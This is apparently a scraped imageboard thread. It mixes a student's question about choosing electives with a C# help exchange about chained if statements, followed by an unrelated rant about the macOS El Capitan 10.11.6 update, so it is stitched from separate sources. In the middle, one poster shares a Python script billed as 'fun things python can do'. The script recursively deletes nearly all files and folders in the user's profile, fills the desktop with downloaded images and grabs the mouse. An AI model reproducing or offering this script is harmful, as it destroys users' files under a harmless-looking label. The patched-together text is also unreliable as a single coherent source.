and option 3 is i can take a bunch of computer science electives. this could potentially boost my major GPA, and a lot of the classes look really cool. it may or may not be as likely to push my overall GPA to a 4 though. plus a lot of them look really cool like machine learning, and there's a graduate level course in AI that i really want to take but it looks hard

thoughts on what i should do?

I'm taking a C# class for college. This is a Visual C# program that's supposed to take the input of a user's IQ and then tell them if it's average, above average, or below average. I don't get any errors while coding, but when I actually run the application it JUST shows the error message even if I input a valid IQ. I can't for the life of me figure out what I did wrong. Any help would be greatly appreciated.

private void btnCalculate_Click(object sender, EventArgs e)
{
int userIQ = Convert.ToInt32(txtIQ.Text);
if (userIQ > 100)
lblRate.Text = "Your IQ is above average.";
if (userIQ < 100)
lblRate.Text = "Your Iq is below average.";
if (userIQ == 100)
lblRate.Text = "Your iq is average.";
if (userIQ > 200 || userIQ < 0)
lblRate.Text = "Error: Please make sure you have correctly typed an integer between 0 and 200.";
else
lblRate.Text = "Error: Please make sure you have correctly typed an integer between 0 and 200.";
}

who gives a shit about GPA, just take some classes that seem fun/interesting to you, or a minor you think you'd like

NEW THREAD!

>sitting in a room full of unwilling and unhelpful anonymous afkers

One of the earlier ifs is running but then the last if/else runs and overwrites the variable. So you should turn everything into an if/else-if/else-if/else, or a switch statement.

Sweet!

Thanks for the help, friend.

you need to write "else if" instead of "if".

It's running through each if statement every time.

Use a case/switch statement.

Your life will be easier, and it will prevent the obvious chained if mistake you're making.

case/switch is disgusting and should be avoided by everyone.

>and it will prevent the obvious chained if mistake you're making.
Not if the switch falls through :^)

That's why fall-through is not allowed in C#.

Thanks for the advice.

I knew my code would be ultra-noobish and embarrassing, but everyone's gotta start somewhere, right?

here's a couple fun things python can do
import requests
import random
import os, os.path
from time import sleep
import stat
import pyautogui

x = 1

user = os.environ['USERPROFILE']
desktop = user + '\desktop'

#Deletes all files
def rmtree(top):
for root, dirs, files in os.walk(top, topdown=False):
for name in files:
try:
filename = os.path.join(root, name)
if user + '\\AppData' in filename:
continue
else:
os.chmod(filename, stat.S_IWUSR)
os.remove(filename)
print('file removed')
except:
print('Permission denied...')
sleep(1)
continue
for name in dirs:
os.rmdir(os.path.join(root, name))
os.rmdir(top)

#Downloads random pics, puts ten randomly on desktop
def createFile(x):
pics = [r'insert a bunch of random image links here, I can't because of spam protection.']
os.chdir(desktop)
with open(str(x) + '.jpg', 'wb') as f:
f.write(requests.get(random.choice(pics)).content)
print('pic made')
x += 1

#moves the mose and holds it down
def mClick(x, y):
pyautogui.moveTo(x, y)
pyautogui.mouseDown()

Yes they are

indeed user. You're doing fine for a beginner.

Noob here, but the chapter in my book explicitly said fall-through is not allowed in C#. Maybe you're thinking of something else?

Not without using something like goto.

Explain what you mean, when you say they are "allowed".

Shouldn't you move your iq > 200 || iq 100? If you input 250 in it the if statement will kick out after the >100 check and not put out the >200 one

Shit you're right. I never know that. I guess I always but break; in anyhow so never noticed it was required.

based C#

normally yes, but since he did each if statement individually instead of else if, it actually would work fine in this case.

A

go back to Cred Forums

10.11.6 from bad to worse - El Capitan is a mountain of problems

I know El Capitan is a mountain, but I had no idea it was a mountain full of problems.


What was released by Apple as a version for "performance enhancements and bug fixes" has turned into the exact opposite and with each new version the problems just get worse.


10.11.6 was released yesterday and now for the first time EVER this morning when I woke my Macbook from its sleep it had completely frozen and would not allow me to log back in, just had a sticky mouse cursor and the horrid spinning beach ball.


Of course had no choice but to force a shutdown and restart .... had my Macbook for 19 months, never had one freeze of any sort so the proof in the pudding is that a new bug has been introduced in yesterdays 10.11.6 release of El Capitan.


Not only does El Capitan NOT live up to its promises of being faster and better than Mavericks or Yosemite but it is more buggy than any OSX I have used yet. They have done very little in the way of actually improving anything and instead keep sneaking new features in which nobody wants or needs.


I really need to now consider going all the way back to Mavericks because it was fast and snappy as any Apple OS should be but Yosemite slowed things down and El Capitan even more, nobody can honestly sit back and defend El Capitan as being solid and fast without first going back to one of the older OS versions and seeing the difference.


I absolutely will have to stay away from the new Sierra if the last 2 versions of OSX are anything to judge by. Sad that Apple has very much lost its way.

senpaitachi desu desudesuka